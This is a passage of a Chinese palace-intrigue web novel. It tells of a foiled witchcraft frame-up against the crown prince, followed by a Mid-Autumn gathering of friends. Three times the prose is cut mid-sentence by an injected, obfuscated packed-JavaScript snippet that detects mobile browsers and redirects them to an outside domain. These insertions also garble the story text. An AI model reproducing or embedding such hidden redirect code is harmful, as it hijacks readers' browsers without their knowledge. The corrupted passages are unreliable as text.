此女狡诡多智，想要一石二鸟。 可惜，他也从未真正信任过她。 正所谓螳螂捕蝉黄雀在后，鹿死谁手，还未可知。 —— 皇帝指着莫千山搜出的那方黑色檀木盒，问道：“这是什么？” 众人侧目。 木盒表面乌黑如墨，镌刻着佛家法螺纹，凑近一些，还可以闻到淡淡的檀木香。 有人辨认出来，“回陛下，此乃法螺纹盒。” “何解？” “法螺纹寓意生命传承，乃吉祥如意、安宁永康的象征。” 皇帝摩挲着木盒表面，看花纹的纹路，这盒子应该也有些年份。 “太子，里面放的是什么？” “扑咚！” 卫枢尚未答话，东宫宫人之中，有人突然摔倒在地。 皇帝侧目望去，摔倒的是个小内侍，不过十七八岁的年纪。 小内侍慌忙起身，面色惨白，脚下虚浮。 更奇怪的是，刚刚下过雨，秋风一起，瑟瑟凉意浸身，他却满头额汗。 皇帝望着他，缓缓问道：“你觉得很热？” 小内侍扑跪于地，颤声道：“奴，奴才不热。” 皇帝抚着手中的木盒，“你见过这东西？” “陛下饶命！陛下饶命！”小内侍身子抖颤，不住地磕头，“奴，奴才是不小心看见的。” 皇帝眉心微蹙。 小内侍面如土色，涕泪横流，“奴，奴才之前打扫书房，不小心将盒子摔了一下。” 皇帝问：“里面装的什么？” “死，死人灵位。” 柳德缓缓道：“臣听闻，在安州，若有至亲之人死于非命，必要在七年内做满七七四十九日诵经法事，之后将灵位安置于高僧加持过的黑色法螺纹檀木盒中。” 皇帝面色骤变，像是手上沾了什么污秽，嫌恶地将盒子扔了出去。 卫枢瞳眸微缩，跪地相接，将盒子护在手中。 皇帝见状，脸色更是难看。 “听闻太子殿下每年八月都会去华济寺做七日法事，不眠不休，诵经超度。”柳德继续道。 皇帝声线紧绷，“你哪位至亲死于非命，需要你如此？” 卫枢垂首，“父皇，是儿臣的义父。” 皇帝知晓，卫枢流落民间时，曾被一个叫沈玄的人救过，并拜这位救命恩人为义父。 当年，皇帝曾问过卫枢，要不要封赏沈玄一家。卫枢说沈玄人已逝，家中也没有别的亲人，这件事便也就作罢了。没想到太子对这个义父居然如此用心。 皇帝以净帕拭手，冷笑道：“好一个事父至孝！” 一介平民，卑微低贱之人，焉能算得上太子的“至亲之人”。 法螺纹盒被内侍打开，现出一块普通的木制灵牌，上面写着沈玄的名字。 跪着的小内侍突然抖了起来。 皇帝冷冷地瞥了他一眼，“不过是个牌位，你抖什么？” “奴，奴才之前还在盒子里见过一个人形木雕。” 任知宜身子一僵，蓦地抬起头来，望着柳德的双眸阗黑。 柳德眼睫微压，掩下眼底的得色。 任知宜万万想不到，他要的不是令太子失却圣心，而是让他永世不得翻身。 小内侍颤颤巍巍的声音逸出来，“奴才见到的是一个桐木人偶，背后刻着字。” 东宫院落空静，纤细的枝条被风吹起，又荡下，发出细碎的，沙沙的声响。 雨停歇，阳光透出云层，洒落在身上，却让人感觉不到一丝暖意。 皇帝霍地起身，声音像是从地底深处而来，“什么字？” “乙未，四月初二，命主坤宫，西南文昌……” “住口！”胡德祥大声惊喝。 众臣惊骇，禁不住敛气屏息，一口浊气哽于喉间，上不去，下不来。 生辰八字，乙未，四月初二，…… 皇帝的寿诞之日。 生辰八字乃是私密，不可为外人知晓，眼看胡总管急赤白脸地打断小内侍继续说下去的样子，众臣心中暗自打鼓。 太子牵连巫蛊之祸。 前朝因巫蛊之祸，四位皇子被杀，前后三年，共株连五万余人。至今想起，依旧不寒而栗。 柳德突然开口，“启奏陛下，安州有一旧俗。若以巫术咒人，可以选择一枉死者的灵位“镇压”于桐木人偶之上；因为枉死之人魂灵无所归依，阴煞之气最为深重。” 众人倒吸一口凉气。 柳德之言，难道是指太子借枉死的义父谋害生身的君父？ 柳德继续道：“臣还查到，太子在安州时，曾与数位方士暗地里接触，这些人都擅长此巫术。太子行巫蛊谋害陛下，证据确凿。” 众臣心中惊涛翻涌，表情骇然。 无人敢作声。 任谁都怕一个不慎，牵涉进巫蛊之祸中。 一直默声的景相缓缓开口，“柳尚书，巫蛊之祸，非同小可，不要随意妄言。” 柳德倏然跪地，“臣以性命担保，太子以厌胜之术谋害陛下，与这个小内侍所说不谋而合。太子不忠不孝，刍狗不如，罪不容诛，如今证据确凿，陛下万不可姑息。” 小内侍颤着手指，“那，那木盒下面有个夹层。” 皇帝缓缓打开木盒，面色阴沉地望着内里。 过了半晌，皇帝望向小内侍，问道：“你是亲眼所见？” “奴才是亲眼所见。”小内侍俯首，“奴才当时不小心将木盒摔在地上，不慎将右角刮出一个极小的月牙刮痕。” 皇帝瞥了一眼木盒，右下角的确有个极小的刮痕，状似月牙，这个位置若不翻转盒子，轻易不能察觉。 他将空木盒掷于小内侍面前，余光淡淡扫过柳德，“既是亲眼所见，你倒是找一找，你所说的东西究竟在哪儿。” 柳德面色瞬间凝住。 小内侍捡起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127537|180125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 木盒，不敢置信地摩挲着内缘，那夹层做得极为隐秘，须得触到内缘暗扣方可打开。 小内侍手指抖颤，动作越来越急，顷刻之间汗如雨下。 这是一个没有夹层的木盒。 他将木盒拿在手中，翻过来覆过去地察看。木色、纹理、月牙形的刮痕，无一不是那方木盒的样子。昨日，他刚刚查验过，那“东西”就放在夹层当中。 不是夹层中的东西不见了，而是木盒里面根本就没有夹层。 小内侍一下子瘫软在地上，面色苍白，浑身颤栗。 与他惊恐的样子相比，柳德双眼发直，身体像是被抽干了所有的生气儿。 皇帝怒不可遏，“林居正、席白！” “臣在。”大理寺卿和刑部尚书同时跨步而出。 “拖下去，无论用什么办法，让他供出真相！” “臣遵旨。” 皇帝望着卫枢，心中百味杂陈。 从一开始，他便没有完全相信卫枢会行厌胜之术，待看到盒中无夹层之后，更是确定，这是一出诬陷之局。 幕后之人机关算尽，可惜算错了一件事。 卫枢七岁那年，有一日从书房回来，问他：“父皇，何为巫蛊之祸？” 他将前朝巫蛊之祸的来龙去脉讲了一遍，卫枢听罢，面上带着几分不屑一顾。 “若巫蛊之说有用，朝廷哪里还需要什么能臣良将？儿臣觉得，所谓的厌胜之术，不过是有心之人设下的圈套罢了，那文远帝居然信了，实在可笑！” 前朝文远帝痴迷仙道之说，尊一道士为国师，后来那道士发现四位皇子在寝宫里施厌胜之术，文远帝大怒之下将四位皇子全部斩杀。前朝皇室一脉因此大受折损，最终登基的是一个年仅五岁的稚童。后来帝少宦强，引发宦官专权之祸，终至灭亡。 “枢儿慎言。神鬼一道，乃是天道。” 当年七岁的卫枢昂着下巴，不以为然道：“儿臣不信鬼神，信苍生！” 皇帝收回翻涌的思绪，不经意间瞥见八宝柜中陈列的一个木制马骑。 虽是件小儿玩物，且略显老旧，却被擦拭得一尘不染，光滑干净，能看得出来是极其珍视之物。 这是当年他送予卫枢的礼物，那时他尚未登基，他亲手做了这个小马骑送给卫枢，没想到皇宫陷落多年，这个东西居然还在。 卫枢双膝跪地，目色清明，“儿臣从未对父皇有过不臣之心。” 皇帝凝眉，“太子，你究竟如何得知郑鸿泰的身份？” 秋风扬起微尘，掠过长飞入鬓的蹙眉。 卫枢清眸微动，“儿臣在查云门镇屠案时，发现郑鸿泰曾派亲兵送信回柳州，后来便着人去柳州探查。” 皇帝心内掠过一丝失望。 卫枢虽然没有以厌胜之术谋害君父，却着实是一个心思深沉，难以掌控的儿子。 沉吟半晌，皇帝缓缓道：“传朕令，太子卫枢结党，褫夺六部权职，禁闭东宫三月，以儆效尤。 郑氏不察，乱出叛国之贼，朝廷将收回郑氏盐税之权，家主郑檀笞十杖，闭门自省。郑李氏收押刑部定罪。 户部尚书柳德，御史大夫叶蕴之失察误劾，罚三月俸。 懿靖郡主威胁李氏，构陷郑檀，废郡主之位，降为县主。 着大理寺卿林居正，刑部尚书席白彻查东宫，将与太子有过往来的方士全部押至京城受审，限十日内结案。” 59. 仲秋 清晨，迎着和煦的秋阳，车轱滚滚，旌旗招摇，满载着金玉丝帛，名花宝树的车队浩浩荡荡地驶过朱雀街，奢华仪仗绵延数十米。 长街两侧，百姓夹道跪迎。 坐于御辇中的庆嫔撩起幔帘一角，望向外面。乌压压的人群连成一片，皆伏地叩首，诚惶诚恐。 庆嫔抚着纤长秀致的黛眉，志得意满地笑了笑。 陛下最终还是答应陪她回临州省亲。如今后宫之中，太子被禁，皇后不愿见人；郑家失掉盐业，连累贤贵妃低调不出。这几日，不只内府诸人对她毕恭毕敬，就连几位皇室宗亲女眷也争着递帖子拜见。 家中境况更是水涨船高，几个哥哥弟弟都补了江南道的职缺。父亲来信说，每日来府上拜会的人络绎不绝，门庭光照。 庆嫔笑着偎进皇帝怀中，泛红的泪眼情真意切，“纵然御史台和皇后反对，陛下还是陪臣妾回家，臣妾感激地都不知该说什么好了。” 皇帝揽着美人，笑道：“你知道就好，皇后因为这事跟朕吵了好几次。” 庆嫔睁着如水的眸子望着他，眼波流转，“听闻陛下宽仁，特允太子今夜陪皇后娘娘拜月，想必能令皇后娘娘宽慰一二。” “毕竟是仲秋之日，让他们母子聊一聊吧。若他母后还是不能令他明白君父之道，这个太子之位也该换人当了。”皇帝摩挲着指节，抿唇道。 庆嫔心内一动，“那陛下为何还将盐税之权交予韩家？” 话脱口而出后，才惊觉自己犯了忌讳。 庆嫔骤然收声。 皇帝果然蹙起眉头，不悦道：“郑家出了这等事，韩家又将三成田产进献朝廷，以充盈国库。除了韩家，谁还能接得下盐税！” “陛下说得是。”庆嫔忙不迭软语认错，笑靥如花，“臣妾失言。” 皇帝轻哼一声，“你久居后宫，哪里懂得朝堂上这些弯弯绕绕？” “臣妾自然不懂，臣妾只需要听陛下的话就好。”庆嫔柔媚一笑，转了个话题，“如今大胤物阜民丰，四海升平，皆是天子之功。您看外面，这些百姓都是为一睹陛下的赫赫威仪而来。” 皇帝不以为意，“不过是一群无知贱民，吩咐禁军驱散百姓，莫误了行程。” 马车很快驶出城门，渐行渐远。 ———— 月满盈天，如轮高照，又是一年中秋月明。 石方街的院落不大，十尺见方，胜在空落，幽静。 唐橘将桂花酒从院中的土里刨出来，擦净污泥，摆上案台，朝着里屋高声喊道： “知宜，三坛酒够不够？” 霍思修摆好四味果盘，笑道：“三坛足矣。酒以助兴，不可多饮。今夜月明风和，佳节良辰，适合赏月小酌，对月吟诗。” 唐橘冲他翻个白眼，“呵，本姑娘是来喝酒的，谁说要吟诗了？” 云娘和宝珠听到二人斗嘴，都笑了。 任知宜拿着酒盏，笑着从屋内走出来，“等一会儿，韩少初就到了，义兄还是找他吟诗吧。” 此话一出，霍思修想想韩少初那不可一世的狂傲样子，唇角的笑容凝住，整个人哭笑不得。 明月皎皎，清辉中透出温柔。 任知宜怔怔地望着天上硕大的满月出神，“灵州的月亮，似乎要更圆，更亮一些。” “有吗？”霍思修抬头盯着高悬的明月看了半晌，笑道：“我看你是想家了，灵州虽远，倒也不是回不去。快马加鞭，十日足矣。” 他突然想起什么，趁其他人没注意，凑到她身旁低声问道：“听说皇后娘娘下旨申斥，令你仲秋之后入宫，可是真的？” 近来朝里还算太平，柳德一败涂地，可是太子同样被禁东宫。几个官员揪着任知宜的细微错处不放，连参几本，奏表如雪花片似地往乾元殿里飞。 最后，皇后娘娘开了口，要“肃整后宫”，令任知宜奉行女官之责，长住东宫。 任知宜揭去酒坛上的楚纸，桂花的香气直入鼻间，醇香馥郁，醉人心脾。 酒杯盛满，色泽温润。 任知宜将酒杯放在鼻下轻轻闻了一下，叹息道：“是真的，我明日便要进宫，日后恐怕喝不到云娘姐姐酿的酒了。” “啧！”霍思修闻言亦叹道：“可惜啊，内廷外宫有别，日后咱们也不易见了。” “前几日被弹劾，多谢义兄在朝上为我辩驳。” 听她道谢，霍思修忙摆手道：“咱们结义之交，说这些都是见外。倒是景兄，素日里温文从容的一个人，为了你跟朝臣争得面红耳赤，实在难得。” 任知宜低头开酒，未说什么。 霍思修继续道：“照理说，东宫待诏不算内廷中人。若依前朝旧制，殿下既已及冠，早该开立太子府，自立门户，你也不会被人弹劾。” 任知宜淡笑道：“义兄自己也说是前朝旧制，如今这局势，陛下和景相怎么会让太子出宫。” 言下之意，不用太明。 霍思修抱起酒坛，将案台上的酒杯逐一斟满，“你也不要过于忧心，料想东宫未来会平静一段时间。柳尚书去大理寺参与审讯之后便上了奏表，自称年老体弱，不堪政事，希望致仕还乡。 “当真？”任知宜手下动作一顿。 “景兄说的，据说奏折还在陛下那里压着，毕竟他是两朝重臣，朝廷还是要做做姿态，挽留一番。” 霍思修不知其中内情，但也隐隐猜到一些。大理寺卿迟迟未将审讯的结果公之于众，柳德又一直抱病不出，众臣心中也是起了疑心，觉得巫蛊一事定与柳德脱不了干系。 如今朝廷这般作派，不过是皇帝给老臣留的最后一点体面。 霍思修道：“为这事儿，陛下召政事堂商议过两次，还是没有定下来。” 任知宜心下了然。 柳德致仕已是定局，迟迟定不下来的是由谁来接任户部尚书一职。户部关系重大，这个人选关系到未来的朝局，是各方必争之位。 凝神思忖之际，她视线扫过案台，见霍思修斟满八只酒盏，讶异道：“还有谁要来？” 算上费举子和韩少初，加起来也不过是七人。 霍思修笑了笑，“景兄为你仗义直言，怎好不请他？” 任知宜眉心一蹙，“今日乃仲秋，咱们都是远游之人，父母不在身边，景公子却不同。你今日请他来咱们这里，明日全京城便都知晓他与景相父子不睦。” 霍思修一拍脑袋，挠头悔道：“是啊！我竟忘了这茬，这可如何是好。” 敲门声传来，来的是景家随从。 小随从面容清秀，口齿伶俐，“我家公子让小的传个话，今日不便登门造访，改日再来。” 他双手呈上一方松竹绣盒，“这是公子送给姑娘的佳节贺礼。” 任知宜下意识要推却。 却听那小随从又道：“公子说，只是份薄礼；再推却，便是不拿他当朋友了。” 绣盒打开，是本古书义疏。 这本书她找了许久，不是什么珍藏典籍，却是她爹的心头好。 小随从未等她反应，将东西塞她手上，一溜烟儿地跑了。 霍思修感叹，“还是景兄想得周全，那日他欣然应允，看样子是很想来的，今日这般行事，定是担心给你招惹是非。” 任知宜捧着书，沉甸甸的。 —— 灶上的白糖熬好，宝珠小心地取出糖浆，放入碗盅。糖浆滚烫，连带着碗盅也烫手。 宝珠吹吹指尖，预备再端，冷不防烫碗被人从后面截了去。 她回头一看，对上霍思修温柔的笑脸。 “我端吧。” 宝珠的手停在半空中，神色古怪地看了他一眼。 “霍书生，你最近怎么对我这么好？” 晨起帮她挑水，夜里帮她煮宵夜，发了俸银就给她买糖球，还时不时带她去街边看杂耍…… 霍思修脚下一顿，面皮窘得微红，说话变得磕磕巴巴，“你，你觉得是什么原因呢？” 宝珠想了想，伸出两根手指。 “不外乎有两种可能。” “哪两种？”霍思修眼睛发亮。 宝珠绕到他身前，用极为挑剔的眼光，上上下下地打量了他一番，“你觉得自己手无缚鸡之力，想要拜我为师修习武艺，强健体魄。” 霍思修的心像被戳了气的囊，期待一下子落空，无奈苦笑道：“我也没这么弱吧。” 他心塞不已，悻悻道：“我是文臣，武可定国，可是文能兴邦啊……”。 絮叨了半晌，他郑重道：“总之，我没有要拜你为师的意思。” “嗯。”宝珠点点头，“我明白了。” 她转了转眼珠，然后一眨不眨地凝视着他，“你看上我了？” “咳咳……” 霍思修倏然受惊，被自己的口水呛了一下，“你，你……” 他想说话，却咳得说不出来，急得面红脖子粗。 越急，越说不出话来。 最后他用尽全力憋了一口气，喊出一句，“你怎么知道的？” 宝珠眨了眨圆圆的大眼睛，面上渐渐地染上一层粉色。 二人面对面，半晌不说话。 秋夜静谧，不闻蝉鸣。 过了半晌，霍思修嗫嚅着开口，“你自己猜出来的？” 宝珠点点头，“小姐说过，无事献殷勤，非奸即盗。” 霍思修一噎，柔下声来，“其实，这句话用在这里不太恰当，应该用“山有木兮木有枝，心悦君兮君不知”这句话。” 诗句含在齿间，被他吟得温柔动情。 宝珠听懂了，粉白的脸颊愈加红润。 “哈！” 一声肆意的调笑，冲破了厨房的旖旎气氛。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127538|180125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>两人侧目一望，韩少初斜倚在门槛处，似笑非笑地看着二人。 霍思修羞恼不已，“韩公子可懂得非礼勿听的道理？” 韩少初两手一摊，桃花眼里满是戏谑，“我可不是故意要来听你们说情话的，外面做月团的人一直在问糖浆怎地还未做好，我就过来看看喽。” “你胡说什么啊。”霍思修红着脸递给他碗盅，催促他赶紧走。 “啧啧！” 韩少初倚门抱臂，懒懒笑道：“听闻霍大人是京城中有名的佳婿之选，若是外面的人知道霍大人钟情一个小丫鬟，不知道会怎么议论。” 霍思修面色一僵。 蓦地，一柄菜刀破空飞出，贴着韩少初的鬓发，稳稳地扎进旁边的门板上。 “干你屁事！”宝珠脆生生喝道。 韩少初惊魂未定，恨恨地咬牙道：“真是有什么主子，就有什么丫鬟。” —— 白色糯米外皮，包上核仁儿、枣泥和桂花，捏成碗口大小的圆团，再以糖浆封口，最后架在炭火上烘烤成形。 这就是月团的做法。 灵州没有吃月团的习俗，任知宜觉得新奇，上手试了一下。 到手没两下的功夫，她便失声喊道：“哎呀！” 糯米质软，任知宜一不小心下手重了，捏成个扁塌的四不像形状。 众人齐齐哄笑，“你捏得是月团，还是八爪鱼啊？” 任知宜也不恼，站在云娘身后细细端详。 她发现，做月团也极考验技巧，手上的力度最是紧要，既要轻，又要快。就这样，任知宜反反复复试了七八次，总算做出几个有模有样的。 众人围案而坐，举杯共饮。 炉火燃燃，添了融融暖意，抵消了几分秋夜的寒凉。 “醉卧青山笑，无处不他乡。”霍思修浅酌一口，即兴吟诗。 他举起酒盏，双眸晶亮，“本以为月圆之夜人尽望，只余思乡情，没想到我能在京城结识这么多同生共死的朋友，把酒言欢，畅叙幽情。” 月光洒照下来，铺就一层清辉。 任知宜抿了一口，桂花的香气溢满口唇，清甜之中带点辣意，直冲灵台。 谁能想到，自己这一路走来，竟走到如今这一步，卷入朝堂波云诡谲，与这大胤朝局一起波澜起伏，不知归处。 “知宜，我敬你。”霍思修举盏，“谢你救命之德，知遇之恩。” 任知宜莞尔一笑，“义兄，你谢过很多次了。” 霍思修一饮而尽，神情激荡，“待我年迈，我便回故里房州，写一部书，记录我大胤朝曾经的风云人物，壮怀岁月。” “好！”唐橘高声赞道。 韩少初看着他们淡淡地笑了笑，潋滟的桃花眼中笑意更甚。 宝珠三杯桂酒下肚，将长剑去鞘，跳入院落中心。 “小姐，我去舞剑！” “好！”任知宜笑着端起酒杯，朝空中高高一举。 月下，宝珠步履轻盈，身若游龙，长剑似蛇，走于月夜清辉之下，一招一式，剑意飞扬。 随着剑的舞动，任知宜轻轻吟唱起来： “咿呀喂…… 铜铃轻摇荡， 是谁酿滴酒， 醉倒采药人……” 二人自小一起长大，对彼此极为熟悉，一位月下舞剑，一位吟唱灵州小曲，配合得宜。 众人击掌相和，好不畅快。 一墙之隔。 卫枢站在门外，静静地听着任知宜温柔清亮的小调歌声。 从她的声音里，他听出一个年轻姑娘的欢快和从容，像山水清泉之声。 此时她的脸上定是飞扬而恣意的笑容。 他或许还不够了解自己这位幕僚，见惯了她聪敏多智，杀伐果断的模样，却没想到她也会像民间的姑娘一样欢快地吟唱。 林七上前问道，“殿下，要不要属下去叩门？” 卫枢摇头，“孤就在这里听，莫扫了他们的兴。” 院子里，几个人微醺，还算清醒，惟独唐橘酒量浅，几杯下肚，舌头就大了。 她醉言醉语，“总有一日，我要成为大理寺第一捕快，绝不是什么第一女捕快。” “呵！”韩少初看着她，面露无语，“酒量这么差，还一直叫嚣着自己今夜要不醉不归。” “你说谁酒量差？”唐橘晕乎乎地抬起头，大声喊道：“酒量差的，再，再罚一杯！” 云娘扶着唐橘坐下，喂了她一碗醒酒汤，又转身问道：“东家，你喝得也不少，要不要也来一碗？” 桂酒微甜，任知宜一直喝得很克制，自觉无碍。 她展颜一笑，“今日开心，多喝几杯不妨事，麻烦云娘姐姐扶唐橘去我房中睡吧。我再坐一会儿。” 云娘应下。 泠泠月光落于盏中，照出酒纹波荡。 60. 酒醉 夜色深浓。 任知宜双眸微蒙，望着前方。 廊檐下，云娘与费举子面对面地站着。 不知道二人说了什么，没过多久，费举子耷拉着头，踉跄着转身。他背影难掩失落，离开的时候既仓皇又落魄。 费举子走后，云娘又在廊下怔怔地站了片刻，方才离开。 二人的举动落在任知宜和韩少初的眼中。 韩少初放下酒杯，双手抱臂，慵懒地后仰，“痴男怨女，何其烦扰。” 任知宜不理他。 其他人醉的醉，睡的睡，院落中只剩他俩。 韩少初笑笑，“你可知道？今日霍思修跟你的小丫鬟表白心意了。” 任知宜淡笑不语。 众人围案喝酒时，两人一对视便红脸，明眼人一看便知。 “韩少初，少管他人闲事。你何时启程回济州？” “怎么？想卸磨杀驴啊？”韩少初似醉非醉地瞥了她一眼，“你一出引蛇入洞之局，害我韩家损失惨重，这就要赶我走？” 任知宜斜睨他一眼。 韩少初是在怪她刻意隐瞒李氏背后的真相。 之所以这么做，不光是为以韩家作饵，更重要的是令韩家以为败局已定，提前下出了原本要留到最后的棋子，将韩氏三成田产献于朝廷。若不然，陛下也不会答应得这么快。 在太子和她心目中，世家终究是个祸患，无论是郑家，还是韩家；世家江南独大之势不可继续。 “罢了，罢了。”韩少初摆摆手道：“你是东宫幕僚，自然以东宫的利益为上。” 任知宜轻声道：“韩少初，你自己心里清楚得很。此次你韩家的损失，其中七成来自那个跟你素来不和的堂叔父，这件事于你在韩家进一步掌权，只有好处，没有坏处。” “呵！”韩少初轻笑一声，“真是什么都瞒不过你。” 任知宜的声音清晰而沉静，“任何一个朝廷都不可能容忍世家一直做大，太子亦不能。经此一事，你韩家就此远离政事，韬光养晦，未必不是一件好事。” “东宫好深的心思。”韩少初唇角轻勾，略带嘲意，“商者逐利，难道非要走朝廷这条路？” “你想要做什么？” “把眼光放远些。”韩少初站起身来，拿着酒盏摇摇晃晃地走到她面前，一双桃花眼含着些微醉意，“我韩家的商船已找到出海的路，最迟明年。” 任知宜眼睛瞪大，“你要出海？” 大胤出海者十去九不回，偶有回来的人说，海的那边是广袤的土地，那里有奇特的风情，还有无尽的财富。 任知宜心中向往，“我可否同去？” 韩少初觉得好笑，“你不留在东宫帮太子？” 见她默然不语，显然是与东宫牵绊过深，身不由己。 他嗤声笑道：“作为朋友，我提醒你，不要对他人过于信任，也不要学那些痴男怨女，深陷情爱之中。” 任知宜眸色深幽，望着他的眼神有些意外。 韩少初起身抱过一坛酒，斟满酒杯，“你为何这么死心塌地，非要做这个东宫幕僚呢？” 任知宜沉吟半晌，悠悠道，“或许……是因为太子的初心难得。” “太子初心为何？” “清明盛世。” “哈哈哈……” 韩少初借着酒劲，大声狂笑，“没想到市侩如你，居然还有一颗士大夫之心。” “多可笑！”他大手一挥，冷笑道：“权力鼎盛之处，自有利益纠缠。人心易变，身处官场久了，所谓的初心早就变了。就算你能约束自我，你又如何能强逼他人？自古清名盛世，皆如一场海市蜃楼，不过昙花一现。” “昙花一现，总好过冷漠视之，即使只换得十年清平的机会，也当在有生之年，戮力为之。” 有些事，她不是不懂。 任知宜想起，初入京城时，她与韩少初想法并无二致。 不知道，从何时开始变了。 他摇摇头，嘲笑她明知不可为而为，“聪明如你，也会有这种犯傻的时候。” 接着，他像是松了一口气，“好吧。这个理由，总比你说自己倾慕太子还来得好些。” 任知宜怔住，“为何？” 韩少初没注意她的表情，只顾饮着杯中酒，“太子是储君，心中放着江山社稷，就算你一心为他，也永远不会成为太子的首选。不值得。” 任知宜抿唇，端起酒杯，一仰而尽。 ———— 桂酒清甜，后劲却强。 二人对饮，一杯接一杯，直喝得酩酊大醉。 夜风沁凉如水，任知宜冷得拢紧双臂，从醉梦中醒来，整个头昏昏沉沉，一双脚像踩在棉花上。 “韩少初。” 韩少初醉得厉害，倒在案前，任知宜怎么叫都叫不醒，索性放弃了。 她迈着醉步，打算去门外拿灯笼进来。 房门一开，外面站着一人。 一袭黑衣大氅，身如松柏，姿仪清逸。 任知宜呼吸一顿，茫然地揉了揉眼睛，眼前的人影一变二，二变三，变成了朦朦胧胧，似假似幻的幻影。 她抚着因醉酒而发痛的鬓角，哑然失笑。 太子被禁东宫，怎么可能出现在这里。自己今夜实在是贪杯过甚，醉得眼前都出现幻影了。 卫枢问道：“你醉了？” 任知宜一怔，这个“卫枢”居然还会说话。 仲秋之夜，石方街的树枝上皆挂着四角灯笼，灯影之下，清眸若水，长眉下寸长的细痕清晰可见。 任知宜踩着虚浮的小醉步，一步一步踱到卫枢面前。 她仰脸望他，粉颊杏眼，双眸中含着三分肆意，“我没醉。” 呵呵…… 这幻影好逼真，一样的眉眼，一样的神态，还有一样的声音。 她伸手探向卫枢的脸，沿着侧颊缓缓上移，指尖落在眉间。 “这疤痕是在云门镇留下的？” 指尖一划而过，卫枢的皮肤却像被火重重燎过，他身躯一僵，喉结翻滚，双眸阗黑。 “知宜，你醉了。” 任知宜醉眼朦胧，不服气地摆摆手，“我喝的是桂酒，不易醉。这酒，是我亲手采的桂花，亲手酿的，甜得很。” 她想起这个“卫枢”还未回答她的问题，面露不悦，“你还没告诉我，这疤痕是如何弄的？” “在云门镇受的伤。”卫枢轻声道。 纤白的手指握住宽阔的手掌，指节捏得发狠，似是用了十分的力道。 她幽幽道：“安州王何卢，我一定会查清楚。” 转身时，她脚下一个趔趄，几乎摔倒在地上。 卫枢赶忙扶住，撑着她身子，“知宜，我扶你回去。” 任知宜挥开他的手，眸色微黯，“那一日，你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127539|180125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 告诉我，安州王是诬陷我父亲的幕后之人，我真得很生气。” 她一边说着，一边朝门前的老槐树狠狠地踢了一脚。 几片叶子飘然而落。 卫枢神情复杂。 她莫不是醉得厉害，将这老槐树当成是他？ 那日双桥偶遇之后，他从宫中折返，孤身去见了任知宜，并将近些日子发生的事情林林总总尽数告知于她，包括埋在他心头的云门镇案。 当年，他失去记忆，蒙义父沈玄所救，跟着他回到云门镇生活；可惜，一场瘟疫引来盛氏叛军旳屠戮。 他亲眼见到，叛军走后，安州王何卢带着一小队人马从暗处出来，一把火烧光了云门镇。 他曾在义父坟前立誓，一定会为枉死的云门镇百姓找到真相。 为了不打草惊蛇，卫枢一开始没有告知任知宜真相。可是后来，卫枢思索数日，终究选择坦诚。 他很确信，知宜看似市侩凉薄，骨子里却是重义明理，或许一开始她可能非常生气，待她冷静下来，她会明白这是权衡利弊之后的结果，如果换作是她，她也会这么做。 之后发生的事，证明他没有料错。 她不但没有背叛东宫，反而使出一计反间，引柳德入局。 任知宜朝着老槐树又踢了一脚，“我也会查清云门镇的案子，然后，……” 话到这里，她突然垂下眼睫，不说了。 “然后什么？”卫枢问道。 察觉声音来自身后，任知宜转过头来，眨巴着眼睛打量卫枢半天，“原来你在这儿。” 卫枢轻笑，没有将她的醉语放在心上。 “知宜，明日之后你须长住东宫。我今夜过来，是担心你心中郁结，只是今夜母后同样心情不好，我陪着说话，耽搁了些时间。” 任知宜的秀眉蹙成一团，“我不想住在宫里。” 卫枢温声道：“东宫少有人事，如今我又被禁闭东宫，鲜少有人打扰。等过一段时间，风波渐息，我会向母后陈情。” 这件事，归根结底是郑皇后迁怒之故。 近些日子，皇帝行事越发恣意，宠爱庆嫔，信任安王，对皇后也不若当年敬重。皇后满腔怒火无处发泄，心底深处认为是这个东宫幕僚挑唆，才坏了皇帝与太子的关系。 任知宜靠坐在树下，手托着腮，“好吧！我可以进宫，让宝珠留下吧。” “为何？” 她食指一嘘，“秘密。” 卫枢会意笑笑，“是怕耽误她与霍思修的姻缘？” 任知宜一怔，面上闪过片刻的失神。 她喃喃自语道：“难怪殿下面对我时总是如此笃定，因为没有什么能瞒得过你。” 此时，林七回来，将刚买的宵食和梨汤摆在树旁的石板上，悄然退开。 卫枢扶她，“知宜，喝些热梨汤，暖暖胃。” 她身子轻软，醉得无力支撑，他只得空出一只手臂托住她，二人的姿势近乎拥揽。 卫枢柔声哄着，将梨汤一点一点喂她喝下去。 天际，圆月高悬，宛若银盘。 半醉半醒之间，任知宜突然指着那轮莹白的明月，轻声呢喃，“我心似月，与君一意。” 清亮的瞳眸一缩，手指蜷紧。 